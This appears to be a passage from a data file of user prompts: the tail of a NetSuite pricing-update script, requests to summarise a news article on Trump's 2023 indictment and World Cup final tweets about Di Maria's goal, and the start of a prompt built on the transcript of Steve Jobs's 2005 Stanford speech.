newDetail.setFieldValue(\'custrecord\\_detail\\_item\', item);\n newDetail.setFieldValue(\'custrecord\\_detail\\_option\', option);\n newDetail.setFieldValue(\'custrecord\\_detail\\_baseprice\', basePrice);\n newDetail.setFieldValue(\'custrecord\\_detail\\_usualrate\', usualPrice);\n newDetail.setFieldValue(\'custrecord\\_detail\\_qty1\', qty1);\n newDetail.setFieldValue(\'custrecord\\_detail\\_rate1\', price1);\n newDetail.setFieldValue(\'custrecord\\_detail\\_qty2\', qty2);\n newDetail.setFieldValue(\'custrecord\\_detail\\_rate2\', price2);\n \n newDetail.setFieldValue(\'custrecord\\_detail\\_qty3\', qty3);\n newDetail.setFieldValue(\'custrecord\\_detail\\_rate3\', price3);\n newDetail.setFieldValue(\'custrecord\\_detail\\_qty4\', qty4);\n newDetail.setFieldValue(\'custrecord\\_detail\\_rate4\', price4);\n \n newDetail.setFieldValue(\'custrecord\\_detail\\_qty5\', qty5);\n newDetail.setFieldValue(\'custrecord\\_detail\\_rate5\', price5);\n \n newDetail.setFieldValue(\'custrecord\\_detail\\_startdate\', startDate);\n newDetail.setFieldValue(\'custrecord\\_detail\\_enddate\', endDate);\n newDetail.setFieldValue(\'custrecord\\_detail\\_customer\', customerArr);\n newDetail.setFieldValue(\'custrecord\\_detail\\_marketingprice\', marketing);\n nlapiSubmitRecord(newDetail, false, true);\n \n \n }\n }\n \n }\n \n \n \n }\n else {\n var someCust = record.getFieldValues(\'custrecord\\_promohead\\_child\');\n var startDate = record.getFieldValue(\'custrecord\\_promohead\\_startdate\');\n var endDate = record.getFieldValue(\'custrecord\\_promohead\\_enddate\');\n var customer = record.getFieldValue(\'custrecord\\_parenthead\\_customer\');\n \n var filCust = new Array(); \n filCust.push(new nlobjSearchFilter(\'parent\', null, \'anyof\', customer));\n filCust.push(new nlobjSearchFilter(\'isinactive\', null, \'is\', \'F\'));\n //filCust.push(new nlobjSearchFilter(\'isjob\', null, \'is\', \'F\'));\n var childCust = nlapiSearchRecord(\'customer\', null, filCust, null);\n \n var allChildArray = new Array();\n \n if (childCust) {\n allChildArray.push(customer);\n for (var j = 0; j < childCust.length; j++) {\n \n allChildArray.push(childCust[j].getId());\n }\n \n }\n \n var someCustArray = new Array();\n someCustArray.push(customer);\n if (!isNullOrEmpty(someCust)) {\n for (var j = 0; j < someCust.length; j++) {\n someCustArray.push(someCust[j]);\n }\n }\n \n var lineCount = record.getLineItemCount(\'recmachcustrecord\\_parent\\_promo\');\n var custArray = new Array();\n custArray.push(customer);\n \n nlapiLogExecution(\'DEBUG\', \'1\', \'\');\n var filterDet= [[\'custrecord\\_parent\\_promo\', \'anyof\', recordId]];\n var schRec = nlapiLoadSearch(\'customrecord\\_special\\_pricing\\_detail\', \'customsearch\\_child\\_items\\_sch\');\n var filExp = schRec.getFilterExpression();\n nlapiLogExecution(\'DEBUG\', \'2\', \'\');\n \n schRec.setFilterExpression(filterDet);\n var schResultSet = schRec.runSearch();\n nlapiLogExecution(\'DEBUG\', \'2b\', \'\');\n var index = 0;\n var max = 1000;\n \n \n while (true) {\n var schDetail = schResultSet.getResults(index, max);\n if(isNullOrEmpty(schDetail) || schDetail.length <= 0) {\n break;\n }\n index = max;\n max += 1000;\n \n if (schDetail) {\n for (var i = 0; i < schDetail.length; i++) {\n //if (context.getRemainingUsage() <= 100) nlapiYieldScript();\n var detId = schDetail[i].getId();\n nlapiLogExecution(\'DEBUG\', \'child id\', detId);\n var recordDet = nlapiLoadRecord(\'customrecord\\_special\\_pricing\\_detail\', detId, {recordmode: \'dynamic\'});\n \n var option = recordDet.getFieldValue(\'custrecord\\_detail\\_option\');\n \n if (option == \'1\') {\n recordDet.setFieldValue(\'custrecord\\_detail\\_customer\', allChildArray);\n }\n if (option == \'2\') {\n recordDet.setFieldValue(\'custrecord\\_detail\\_customer\', someCustArray);\n }\n if (option == \'3\') {\n recordDet.setFieldValue(\'custrecord\\_detail\\_customer\', customer);\n \n }\n \n recordDet.setFieldValue(\'custrecord\\_detail\\_startdate\', startDate);\n recordDet.setFieldValue(\'custrecord\\_detail\\_enddate\', endDate);\n nlapiSubmitRecord(recordDet, true, true);\n \n \n }\n }\n }\n }\n \n nlapiSubmitField(recordType, recordId, \'custrecord\\_promohead\\_status\', 4);\n \n \n }\n \n \n if (recordType == \'customrecord\\_contract\\_pricing\') {\n \n var contractReview = record.getFieldValue(\'custrecord\\_cp\\_contractreview\');\n var startDate = record.getFieldValue(\'custrecord\\_cp\\_startdate\');\n //var location = record.getFieldValue(\'custrecord\\_cp\\_location\');\n var filters = new Array();\n var customer = record.getFieldValue(\'custrecord\\_cp\\_parentcustomer\');\n var someCust = record.getFieldValues(\'custrecord\\_cp\\_child\');\n \n var filCust = new Array(); \n filCust.push(new nlobjSearchFilter(\'parent\', null, \'anyof\', customer));\n filCust.push(new nlobjSearchFilter(\'isinactive\', null, \'is\', \'F\'));\n //filCust.push(new nlobjSearchFilter(\'isjob\', null, \'is\', \'F\'));\n var childCust = nlapiSearchRecord(\'customer\', null, filCust, null);\n var allChildArray = new Array();\n //allChildArray.push(customer);\n if (childCust) {\n nlapiLogExecution(\'DEBUG\', \'childcust length\', childCust.length);\n for (var j = 0; j < childCust.length; j++) {\n allChildArray.push(childCust[j].getId());\n }\n nlapiLogExecution(\'DEBUG\', \'childcust all\', JSON.stringify(allChildArray));\n }\n \n var someCustArray = new Array();\n someCustArray.push(customer);\n if (!isNullOrEmpty(someCust)) {\n for (var j = 0; j < someCust.length; j++) {\n someCustArray.push(someCust[j]);\n }\n }\n \n //\\*\\*\\*\\* add here\n nlapiLogExecution(\'DEBUG\', \'1\', \'\');\n var filterDet= [[\'custrecord\\_contract\\_parent\', \'anyof\', recordId]];\n var schRec = nlapiLoadSearch(\'customrecord\\_special\\_pricing\\_detail\', \'customsearch\\_child\\_items\\_sch\');\n var filExp = schRec.getFilterExpression();\n nlapiLogExecution(\'DEBUG\', \'2\', \'\');\n \n schRec.setFilterExpression(filterDet);\n var schResultSet = schRec.runSearch();\n nlapiLogExecution(\'DEBUG\', \'2b\', \'\');\n var index = 0;\n var max = 1000;\n \n \n while (true) {\n var schDetail = schResultSet.getResults(index, max);\n if(isNullOrEmpty(schDetail) || schDetail.length <= 0) {\n break;\n }\n index = max;\n max += 1000;\n \n if (schDetail) {\n for (var i = 0; i < schDetail.length; i++) {\n //if (context.getRemainingUsage() <= 100) nlapiYieldScript();\n var detId = schDetail[i].getId();\n nlapiLogExecution(\'DEBUG\', \'child id\', detId);\n var recordDet = nlapiLoadRecord(\'customrecord\\_special\\_pricing\\_detail\', detId, {recordmode: \'dynamic\'});\n recordDet.setFieldValue(\'custrecord\\_detail\\_contractreviewdate\', contractReview);\n recordDet.setFieldValue(\'custrecord\\_detail\\_startdate\', startDate);\n var option = recordDet.getFieldValue(\'custrecord\\_detail\\_option\');\n if (option == 1) {\n recordDet.setFieldValue(\'custrecord\\_detail\\_customer\', allChildArray);\n \n }\n if (option == 2) {\n recordDet.setFieldValue(\'custrecord\\_detail\\_customer\', someCustArray);\n \n }\n \n if (option == \'3\') {\n recordDet.setFieldValue(\'custrecord\\_detail\\_customer\', customer);\n \n }\n nlapiSubmitRecord(recordDet, true, true);\n \n }\n }\n }\n nlapiSubmitField(recordType, recordId, \'custrecord\\_cp\\_status\', 4);\n \n }\n \n \n \n if (recordType == \'customrecord\\_catalogue\\_pricing\') {\n var startDate = record.getFieldValue(\'custrecord\\_cat\\_startdate\');\n var endDate = record.getFieldValue(\'custrecord\\_cat\\_enddate\');\n var oldStatus = record.getFieldValue(\'custrecord\\_cat\\_oldstatus\');\n var lineCount = record.getLineItemCount(\'recmachcustrecord\\_parent\\_catalogue\');\n \n for (var i = 1; i <= lineCount; i++) {\n \n //if (context.getRemainingUsage() <= 100) nlapiYieldScript();\n \n record.setLineItemValue(\'recmachcustrecord\\_parent\\_catalogue\', \'custrecord\\_detail\\_startdate\', i, startDate);\n record.setLineItemValue(\'recmachcustrecord\\_parent\\_catalogue\', \'custrecord\\_detail\\_enddate\', i, endDate);\n \n }\n \n record.setFieldValue(\'custrecord\\_cat\\_status\', oldStatus);\n nlapiSubmitRecord(record, false, true);\n \n }\n \n \n }\n catch (e) {\n if (recordType == \'customrecord\\_promo\\_header\') nlapiSubmitField(recordType, recordId, \'custrecord\\_promohead\\_status\', 5, false);\n if (recordType == \'customrecord\\_contract\\_pricing\') nlapiSubmitField(recordType, recordId, \'custrecord\\_cp\\_status\', 5, false);\n if (recordType == \'customrecord\\_catalogue\\_pricing\') nlapiSubmitField(recordType, recordId, \'custrecord\\_cat\\_status\', 6, false);\n //nlapiSubmitField(recordType, recordId, \'custrecord\\_cp\\_status\', \'5\');\n if (e instanceof nlobjError) {\n nlapiLogExecution(\'DEBUG\', \'Scheduled\', e.getCode() + \'\\n\' + e.getDetails());\n \n }\n else {\n nlapiLogExecution(\'DEBUG\', \'Scheduled - unexpected\', e.toString());\n \n }\n }\n}' -"Below is the text of a news article. Please write a 5-sentence summary, focused on the factual content and removing any sensationalism or anxiety-inducing content:\n\nIt is the latest stunning barrier shattered by the nation’s most unruly president. And it means that after a tumultuous four-year term, a historic two impeachments, an election falsely tainted by Trump’s lies about fraud and a mob attack by his supporters on Congress, a new national nightmare may be ahead.\n\nWASHINGTON, DC - SEPTEMBER 22: U.S. President Donald Trump exits the Oval Office and walks to Marine One on the South Lawn of the White House on September 22, 2020 in Washington, DC. President Trump is traveling to Pittsburgh, Pennsylvania for a campaign event. (Photo by Drew Angerer/Getty Images)\nTrump has been indicted. Here's what happens next in court\nIn a momentous step Thursday, a Manhattan grand jury voted to indict Trump on what sources said were more than 30 counts related to business fraud in a case arising from hush money paid to adult film star Stormy Daniels, possibly to defuse a scandal ahead of the 2016 election.\n\nThere is nothing in American history that approaches the tumult of the charging and possible trial and conviction of a former president – especially since Trump and his supporters are already claiming that the indictment represents the weaponized politicization of the justice system.\n\n“We have been close before (but) we have never been at this point,” John Dean, former President Richard Nixon’s Watergate-era special counsel, told CNN. “No prior president – former, sitting or otherwise – has ever been indicted.”\n\nGiven the extreme national political estrangement exacerbated by Trump, this case is likely to leave the country changed however it turns out. There will be fears, for instance, that it will crush one of the last remaining precedents for political restraint and leave future presidents vulnerable to prosecution in a manner more akin to fragile failing states than the world’s most vital democracy. Yet at the same time, if Trump has indeed committed crimes, a failure to pursue him would send a message that the powerful can get away with behavior that ordinary Americans cannot.\n\nThe move was especially stunning given Trump’s long record of impunity, which has seen him constantly stretch the limits of the law and the conventions of accepted behavior with his uproarious personal, business and political careers. Suddenly, Trump’s decades of evading accountability will end. The former president will have to start answering for his conduct, likely beginning in court on Tuesday after he travels to New York to be arraigned in what will be a high-security spectacle given his past incitement of violence.\n\nTrump launches a furious counter-attack\nTrump insists he is innocent of all allegations, in this case as well as in several others that may pose even greater legal peril, including special counsel investigations into his hoarding of classified documents and his conduct around the 2020 election and a separate Georgia investigation into his bid to steal the election in the swing state.\n\nThe ex-president quickly showed he’s ready to drive the country into a deep political crisis as he mounts his defense with wild claims of persecution. He accused Democrats of weaponizing justice to thwart his 2024 White House bid – a claim that threatens to shatter the credibility of the next election in the eyes of millions of his followers and further damage US democracy.\n\n“This is an attack on our country the likes of which has never been seen before,” Trump wrote in block capitals on his Truth Social network. “It is likewise a continuing attack on our once free and fair elections. The USA is now a third world nation, a nation in serious decline. So sad!”\n\nLike all Americans accused of crimes, Trump is entitled to the presumption of innocence and his full rights under the Constitution, which he tried to overturn on January, 6, 2021. The perception of this extraordinary case will turn on two questions fundamental to the credibility of American justice: Are all citizens – even the most powerful, like former presidents and White House candidates – considered equal under the law? Or is Trump being singled out because of who he is?\n\nThe indictment voted by the grand jury remains under seal, so the exact charges and the extent of evidence against him remain unclear. But many legal experts have questioned whether a case possibly alleging fraudulent accounting and subsequent infringements of election law would rise to the magnitude that might justify the nation-shaking act of indicting a former president and frontrunner for the 2024 GOP nomination. Some observers have warned against a case that might rely heavily on the testimony of former Trump lawyer Michael Cohen, who made the payments to Daniels and has already served a jail sentence for charges that included lying to Congress.\n\nHouse Speaker Kevin McCarthy speaks during a Friends of Ireland caucus St. Patrick's Day luncheon at the Capitol in Washington on Friday, March 17.\nRepublican leaders and Trump loyalists on Capitol Hill rally behind the former president after indictment\nEven if there is plentiful evidence that makes this a relatively simple sell to a jury, the fame and the power of the defendant means the case will unfold in a court of public opinion. Manhattan District Attorney Alvin Bragg is under enormous pressure since if he fails to secure a conviction, he will be accused even more than he already is of building a politicized case that could tear gaping new divides in the country.\n\nTrump’s most fervent supporters in the House of Representatives lambasted Bragg despite having not seen the charges or evidence against the former president. The angry reactions were consistent with Trump’s previous attempts to intimidate Bragg, which were set off nearly two weeks ago with his inaccurate prediction that he’d be arrested early last week. The strategy was clearly designed to prejudice public opinion against the case before Trump even appears in court and to energize the former president’s grassroots supporters and the conservative media machine.\n\n“Outrageous” was the only comment issued by House Judiciary Chair Jim Jordan of Ohio, one of the ex-president’s most staunch loyalists.\n\nHouse Speaker Kevin McCarthy tweeted, “The American people will not tolerate this injustice,” and added that “The House of Representatives will hold Alvin Bragg and his unprecedented abuse of power to account” – a comment that appeared to indicate a fresh attempt to use government power to interfere in an active case going through America’s independent legal system.\n\nThe No. 2 House Republican – Majority Leader Steve Scalise – called the indictment “one of the clearest examples of extremist Democrats weaponizing government to attack their political opponents.” Rep. Elise Stefanik, the House GOP conference chair, released a statement saying the indictment was “a political witch hunt” and a “dark day for America.” There was no immediate comment, however, from Senate Republican Leader Mitch McConnell, underscoring the divides in the GOP over Trump’s past assault on American democracy and political aspirations.\n\nIndictment shakes up 2024 White House race\nIt is too early to predict how voters, in the GOP primary or in the national electorate, will respond to Trump’s indictment. And it is also unclear whether a possible trial would take place before the 2024 election or where the multiple other investigations into Trump’s conduct will be by then.\n\nBut Thursday’s historic news out of Manhattan immediately scrambled the GOP nominating contest.\n\nThe move forced the ex-president’s potential Republican rivals into hurried condemnations to preserve their own viability among GOP voters.\n\n“I think the unprecedented indictment of a former president of the United States on a campaign finance issue is an outrage,” former Vice President Mike Pence told CNN’s Wolf Blitzer in an interview. “It appears to millions of Americans to be nothing more than a political prosecution that’s driven by a prosecutor who literally ran for office on a pledge to indict the former president.”\n\nFlorida Gov. Ron DeSantis speaks at Christopher Columbus High School on Monday, March 27, 2023, in Miami. \nPotential 2024 GOP field responds to Trump indictment by attacking Bragg\nTrump blames Pence for failing to intervene in Congress’ certification of President Joe Biden’s election victory – a position that may limit the former vice president’s political ceiling in a party still filled with Trump loyalists.\n\nAny immediate political boost Trump is able to engineer from the indictment could harm his potential strongest primary rival, Florida Gov. Ron DeSantis. Like other potential candidates, DeSantis had no political room to do anything other than condemn the indictment – even though he has been portraying himself as a potential president who would be far more calm, methodical and effective in implementing a hardline conservative agenda than Trump was.\n\nBut DeSantis also made an extraordinary threat that if Trump were to resist turning himself in, he would refuse to participate in any attempt by New York to extradite him – a move that, if it happened, could precipitate a constitutional crisis.\n\n“The weaponization of the legal system to advance a political agenda turns the rule of law on its head. It is un-American,” DeSantis tweeted. “Florida will not assist in an extradition request given the questionable circumstances at issue with this Soros-backed Manhattan prosecutor and his political agenda.”\n\nThe Florida governor’s threat was just one ill omen that suggests the months ahead will be divisive and dangerous to America’s democracy – whether Trump is found guilty or not." -"Describe, as reporting a current event in few 4 lines, what is happening right now using the following tweets:\n\nsourceText Time\nDI MARIA ???????????????? what an amazing build up for that goal 2-0 Argentina 15:36:07.0000000\n2-0 Argentina.''ANGEL DI MARIA DOUBLES THE LEAD!!! ANOTHER GOAL IN A FINAL FOR HIM!!! https://t.co/m2YWSEnYMS 15:36:19.0000000\nGr8 goal #messi & Di Maria off injury is the difference! https://t.co/ScHjETYn4K 15:34:47.0000000\nNice goal by Di Maria #FIFAWorldCup #ArgentinaVsFrance 15:36:59.0000000\nDI MARIA!!!!!!!!! ARGENTINA SCORE A SECOND!!!!!!!! WAS THAT GOAL RIGGED TOO OR WILL YALL STOP CRYING?? #FIFAWorldCup #ARG #FRA 15:36:23.0000000\nDI MARIAAAAAAAA'WHAT A TEAM GOAL'WHAT ARE WE WITNESSING HERE!!!!!'#ArgentinaVsFrance 15:36:16.0000000\nBLOODY HELL DI MARIA BASICALLY GOAL EVERY FINAL!! HOLY HELL #ArgentinaVsFrance #WorldcupQatar2022 15:36:40.0000000\nGOAL Argentina 2-0 France Di Maria, wonderful team goal #ARGFRA #FIFAWorldCup 15:36:06.0000000\n@remnantvault That goal Di Mar?a just scored proves otherwise. We don't need charity. France has been busy trying to prevent us from scoring rather than trying to score themselves too. 15:36:52.0000000\nTop counter attack & Di Maria goal ??''#ArgentinaVsFrance https://t.co/sVzLCZrbqb 15:36:48.0000000\nDi Maria SCOOOOOOOOOORESSSS''2-0''Beautiful goal.''#WorldCupFinal 15:36:36.0000000\nWhat a goal.. Messi started the move and Di Maria did the ting!!!!! ''VAMOS ARGENTINA!!! 15:36:42.0000000\nSecond goal by Di Maria. Herhhh. Defending champions paaaaaaaaaa and they're suffering like this? ??'#ArgentinaVsFrance 15:36:36.0000000\nGOAL!''Angel di Maria makes it 2 - 0 for Argentina.''#FIFAWorldCup 15:36:34.0000000\nAngel Fucking Di Maria????????????'Oh my God'This is absolutely beautiful '#ArgentinaVsFrance #FIFAWorldCup 'Goal of the tournament in terms of team work 15:36:28.0000000\nDi Mariaaaaaaaa!!!!!!!!!! What a goal ! #FIFAWorldCup #ArgentinaVsFrance 15:36:59.0000000\nDI MARIA Scores the second goal for Argentina 15:36:54.0000000\nBrilliant Argentina goal that 2-0 Di Maria''One touch. Macalister running the game 15:36:30.0000000\nWhat a lovely goal from Argentina and, they are going to steamroller France at this rate. ''Di Maria has had a tremendous first half and should get the Man of the Match award. 15:36:53.0000000\nWhat a beautiful GOAL???? from Di Maria. Argentina has been on a serious attack and they’re capitalising . #KusazobaMnandi 15:36:59.0000000\nDi Maria, he's gone to ground...he's got a penalty! Dembele the man guilty as charged. 'And Messi, A goal for ever more..perhaps a goal of his infinity, as it’s predestined'- Peter Drury'#ArgentinaVsFrance #FIFAWorldCup #PeterDrury 15:35:29.0000000\nDi Mariaaaaaa nets #ARG 2nd goal! ''#FIFAWorldCup #ARGFRA 15:36:19.0000000\nWhat a Goal De Maria ?????????'2-0 ??'#Arg'#WorldCupFinal 15:36:34.0000000\n2-0 ARGENTINA!!!!! DI MARIA!!!!! WONDERFUL TEAM GOAL!!!! 15:36:02.0000000\nGoal Di Maria! What a counter attack. Argentina leads France 2-0. #FIFAWorldCup 15:36:23.0000000\nMagnificent goal Argentina. Sweeping and brilliant counter attack finished by Di Maria. Assist for Brighton's Mac Allister 15:36:50.0000000\nHe’s having a worldie Di Maria!''What a goal''#arg #fra #ArgentinaVsFrance #WorldCupFinal 15:36:47.0000000\nFantastic goal by Argentina, Di Maria very cool finish! #FIFAWorldCupFinal #ArgentinaVsFrance 15:36:59.0000000\nDi Maria scores the 2nd goal for Argentina.???? France have not turned up in this first half at all.???? #Qatar2022 #ARGFRA 15:36:50.0000000\nDi Maria! What a goal from Argentina ????????''Game over. 15:36:13.0000000\nWHAT A GOAL!!!!''DI MARIA SCORESSSSS!!!!!''ARGENTINA 2 0 FRANCE '35 15:36:29.0000000\nDi Maria with a beautiful goal and Argentins double their lead. France is not themselves today. #ARGFRA 15:36:22.0000000\nArgentina 2-0 Now???? because of a goal by Di Maria ''#WorldCupFinal #ArgentinaVsFrance 15:36:55.0000000\nWhat a goal from Argentina, cut open France like a hot knife through butter. Messi, Di Maria and Mac Allister running the show here. Thoroughly deserved of this World Cup. 15:36:54.0000000\nAbsolutely Superb goal from Argentina great finish from Di Maria ???? 15:36:52.0000000\nGoal for Di Maria. 2-0 #ArgentinaVsFrance #FIFAWorldCup 15:36:36.0000000\nDi Maria scores the second goal for Argentina. 15:36:48.0000000\n2-0 Argentina.''ANGEL DI MARIA DOUBLES THE LEAD!!! ANOTHER GOAL IN A FINAL FOR HIM!!! https://t.co/AFS5UAJ501 15:36:49.0000000\nDi Mariaaaaaa, what a goal!! '#WorldCupFinal 15:36:50.0000000\nArgentina properly blowing France away, Angel di Maria has been the best player on the pitch by miles and he’s deservedly got a goal to show for it. 2-0 Argentina 15:36:59.0000000\n??ARGENTINA DOUBLE THEIR LEAD??''GOAL: Di Maria 35‘ ??????'2-0 15:35:51.0000000\nDI MARIA! GOAL! FRANCE IS COOKED! 15:36:02.0000000\nWhat a goal boom 2-0 di maria #ArgentinaVsFrance 15:36:50.0000000\nArgentina 2-0. Di Maria. A magnificent goal on the break. 15:35:45.0000000\nThat is a beautiful goal!!''Di Maria with the finish and they’ve been all over France 15:36:32.0000000\nDi maria!!!Maria!!!! What a goal the French in the mud!!! #ARGFRA #FIFAWorldCupQatar2022 #FIFAWorldCup 15:36:25.0000000\nWow! What an effing goal Argentina. Di Maria playing like a young man again. Just amazing. 15:36:48.0000000\nLionel Messi assist! Di Maria’s goal! Football heritage! 15:36:53.0000000\nWhat a counter attacking goal. ''Di Maria...#ArgentinaVsFrance 15:36:44.0000000\nDi Maria what a goal that was. Argentina have blown France away here. 15:36:21.0000000\nDi Maria what a goal .. pure counter attack #FIFAWorldCup #FIFAWorldCupFinal 15:36:34.0000000\n#ARGFRA DI MARIAAAAAAAAAAAAAAAAAAAAAAA WHAT A FUCKING GOAL THAT WAS 15:36:18.0000000\nSecond goal for Argentina ''Di Maria https://t.co/RVfNhamMG7 15:36:32.0000000\nWell that DI MARIA goal is much more worthy. VAMOS ARGENTINA 15:36:43.0000000\nGOLOOOOO ANGEL DI MARIAAAAA ??????????????????????????'Goal of the tournament!!'#WorldCupFinal #FIFAWorldCup '#Arg 15:36:43.0000000\nDI MARIA...WHAT A GOAL! What a pass by Mac Allister and what a flick by MESSI! INSANE! VAMOS ARGENTINA! 15:36:44.0000000\n? GOAL: Argentina 2 - 0 France. ANGEL DI MARIA FINISHES OFF AN UNBELIEVABLE MOVE FROM ARGENTINA! WHAT A GOAL!''#FRA | #FRA ''#ad @PepsiGlobal https://t.co/f1YjbdoCEc 15:36:14.0000000\nAnother goal for Argentina... De Maria ????''#ArgentinaVsFrance #WorldCup #FIFAWorldCup #Messi?? #Mbappe 15:36:57.0000000\nBeautiful football... Argentina mesmerizing France what a goal from Di Maria... What a touch 15:36:52.0000000\nWhat a goal on the counter that is! Argentina have been so good here! Brilliant from Mac Allister and what a finish from Di Maria! ?? #ARGFRA #FIFAWorldCup 15:36:56.0000000\n2nd goal for Argentina ???????????????????'Di Maria you beauty ???????? 15:36:22.0000000\nWoooooo Argentina second goal is ?????? great finish by Di Maria 15:36:57.0000000\n?? #WorldCup | #Qatar2022''? 36' | GOAL!!! Angel Di Maria doubles Argentina's lead!''#ARG 2-0 #FRA ''#Selecci?nMayor #FiersdetreBleus #ARGFRA https://t.co/M64jzboGG8 15:36:06.0000000\nWe want another one just like the other one!!!! Beautiful goal!!!! Di Mar?a!!! #ArgentinaVsFrance #FIFAWorldCupFinal ???????????? 15:36:48.0000000\nHe has been the best player on the pitch and he gets another finals goal''Di Maria ''#ArgentinaVsFrance #WorldCupFinal 15:36:38.0000000\nDI MARIA WHAT A GOAL ( I still fucking hate Argentina 15:36:23.0000000\nI knew Di Maria was definitely going to give Argentina a goal!?? 15:36:31.0000000\nBrilliant goal from Argentina. Di Maria. 2-0 Argentina. 15:36:53.0000000\nWhinge all you want about the penalty. There's no denying that Di Maria's goal was ??????''#ArgentinaVsFrance #WorldCup #FIFAWorldCupFinal https://t.co/2DGSE5mCM0 15:36:31.0000000\nArgentina is dominating!''Di Maria Goal!''Argentina 2 - 0 France'#ArgentinaVsFrance 15:36:52.0000000\nDi Maria with the second goal'Argentina 2 - 0 France #FRAARG #FIFAWorldCupFinal 15:36:24.0000000\nGoal for Argentina ??'Argentina 2:0 France ????'??36’ Di Maria ''#EIBQATAR2022 https://t.co/kNI4ODuxg6 15:36:39.0000000\nGoal number 2 for Argentina!!!''Di Maria ??????. https://t.co/aJQG3SKGZ1 15:36:58.0000000\nDi maria what a goal, what a counter #FIFAWorldCup #ArgentinaVsFrance 15:36:59.0000000\nDi Maria Goal! But it's FIFA that scored as some will say ??????'#Messi #ArgentinaVsFrance #FIFAWorldCup 15:36:49.0000000\nDi Maria! What a glorious goal! ???? has got this final! #ArgentinaVsFrance 15:36:28.0000000\nWhat a counter and goal. Di Maria make it 2-0 wow! #WorldCupFinal 15:36:32.0000000\nWhat a Goal Di Maria'#FIFAWorldCupFinal '#ArgentinaVsFrance 15:36:41.0000000\nAlmost my favourite D Maria....what a Goal...#FIFAWorldCup #ArgentinaVsFrance #WorldCup 15:36:35.0000000\nDi Maria deserves this goal. Excellent work today. #ArgentinaVsFrance #WorldCup #FIFAWorldCup 15:36:42.0000000\nDi Maria ''2-0 ''Beautiful goal from Argentina! 15:35:59.0000000\nGOOOOOOOAAAL!!! ''Di Maria doubles the lead for Argentina. What a beautiful team goal. ''Argentina ???? 2???0?? France ???? ''#FifaWorldCup 15:36:50.0000000\nThat was a just goal! Di Maria is really good right now #ArgentinaVsFrance #FIFAWorldCup 15:36:26.0000000\nFinally a nice open play goal from Argentina as opposed to the spot special . Di Maria been the best player thus far today 15:36:42.0000000\nGoal Di Maria!!!! Argentina up 2-0 and France is looking sluggish on offense 15:36:55.0000000\nBrilliant goal, Di Maria is that guy for Argentina 15:36:25.0000000\n36’ GOAL! DI MARIA ON THE COUNTER ATTACK! #FIFAWorldCup''Argentina 2-0 France 15:36:00.0000000\nGOAL 2-0 Argentina! a counter-attack at speed and Di Maria finishes things off. #ARG #FRA #FIFAWorldCup 15:35:51.0000000\nDi Maria hands Argentina another goal, what a beautiful square play. Text book execution and they punish France. 15:36:56.0000000\nGOAL!!!''A lightning break and Angel Di Maria has Argentina two goals up on 35 minutes!''#ARG 2-0 #FRA ''#FIFAWorldCup | #Qatar2022''https://t.co/UmozTF3WiK 15:36:02.0000000\n@sportv All the talk of Messi but do Maria makes this Argentina team and attack so much better and he been the best player so far and deserved that goal 15:36:17.0000000\nArgentina looking like they want it more. Great goal Di Maria 15:36:11.0000000\n2-0. Di Maria. What a goal! Absolutely dominating #FRA #ArgentinaVsFrance #FIFAWorldCup #WorldCup #ARG 15:36:40.0000000\nWhat a goal !!!!'Argentina 'Di Maria!!!!! 15:36:30.0000000\nDi Maria deserves a goal.'Brilliant! #ArgentinaVsFrance 15:36:44.0000000\nWow what a goal. 2-0, Di Maria and game over imo cos France are shite so far. Need a response before half time otherwise its gone. #ArgentinaVsFrance #FIFAWorldCupFinal 15:36:36.0000000\nGame over already? Superb goal by Di Maria and Argentina! #ARGFRA #FIFAWorldCupFinal 15:35:58.0000000\ntotally deserved, Argentina competing dominating. Di Maria is playing so good as well so nice he got the goal '#ARGFRA #FIFAWorldCup 15:36:51.0000000\nDo Maria!!!!! Goal!!!!!! Argentina!!!! 15:36:29.0000000\nGuess that counter attack and goal by Di Maria was rigged too?? Lol'#WorldCupFinal #ArgentinaVsFrance 15:36:21.0000000" -'Title: "Steve Jobs\' 2005 Stanford Commencement Address - YouTube"\nVideo Transcript: "This program is brought to you by Stanford University. Please visit us at stanford.edu Thank You. I am honored to be with you today at your commencement from one of the finest universities in the world. Truth be told I never graduated from college and this is the closest I\'ve ever gotten to a college graduation. Today I want to tell you three stories from my life. That\'s it. No big deal. Just three stories. The first story is about connecting the dots. I dropped out of Reed College after the first 6 months, but then stayed around as a drop-in for another 18 months or so before I really quit. So why did I drop out? It started before I was born. My biological mother was a young, unwed graduate student, and she decided to put me up for adoption. She felt very strongly that I should be adopted by college graduates, so everything was all set for me to be adopted at birth by a lawyer and his wife. Except that when I popped out they decided at the last minute that they really wanted a girl. So my parents, who were on a waiting list, got a call in the middle of the night asking: "We have an unexpected baby boy; do you want him?" They said: "Of course." My biological mother later found out that my mother had never graduated from college and that my father had never graduated from high school. She refused to sign the final adoption papers. She only relented a few months later when my parents promised that I would go to college. This was the start in my life. And 17 years later I did go to college. But I naively chose a college that was almost as expensive as Stanford, and all of my working-class parents\' savings were being spent on my college tuition. After six months, I couldn\'t see the value in it. I had no idea what I wanted to do with my life and no idea how college was going to help me figure it out. And here I was spending all of the money my parents had saved their entire life. So I decided to drop out and trust that it would all work out OK. It was pretty scary at the time, but looking back it was one of the best decisions I ever made. The minute I dropped out I could stop taking the required classes that didn\'t interest me, and begin dropping in on the ones that looked interesting. It wasn\'t all romantic. I didn\'t have a dorm room, so I slept on the floor in friends\' rooms, I returned coke bottles for the 5 cent deposits to buy food with, and I would walk the 7 miles across town every Sunday night to get one good meal a week at the Hare Krishna temple. I loved it. And much of what I stumbled into by following my curiosity and intuition turned out to be priceless later on. Let me give you one example: Reed College at that time offered perhaps the best calligraphy instruction in the country. Throughout the campus every poster, every label on every drawer, was beautifully hand calligraphed. Because I had dropped out and didn\'t have to take the normal classes, I decided to take a calligraphy class to learn how to do this. I learned about serif and san serif typefaces, about varying the amount of space between different letter combinations, about what makes great typography great. It was beautiful, historical, artistically subtle in a way that science can\'t capture, and I found it fascinating. None of this had even a hope of any practical application in my life. But ten years later, when we were designing the first Macintosh computer, it all came back to me. And we designed it all into the Mac. It was the first computer with beautiful typography. If I had never dropped in on that single course in college, the Mac would have never had multiple typefaces or proportionally spaced fonts. And since Windows just copied the Mac, it\'s likely that no personal computer would have them. If I had never dropped out, I would have never dropped in on this calligraphy class, and personal computers might not have the wonderful typography that they do. Of course it was impossible to connect the dots looking forward when I was in college. But it was very, very clear looking backwards ten years later. Again, you can\'t connect the dots looking forward; you can only connect them looking backwards. So you have to trust that the dots will somehow connect in your future. You have to trust in something, your gut, destiny, life, karma, whatever. Beleiveing that the dots will connect down the road will give you the confidence to follow your heart Even when it leads you off the well worn path, and that will make all the difference. My second story is about love and loss. I was lucky 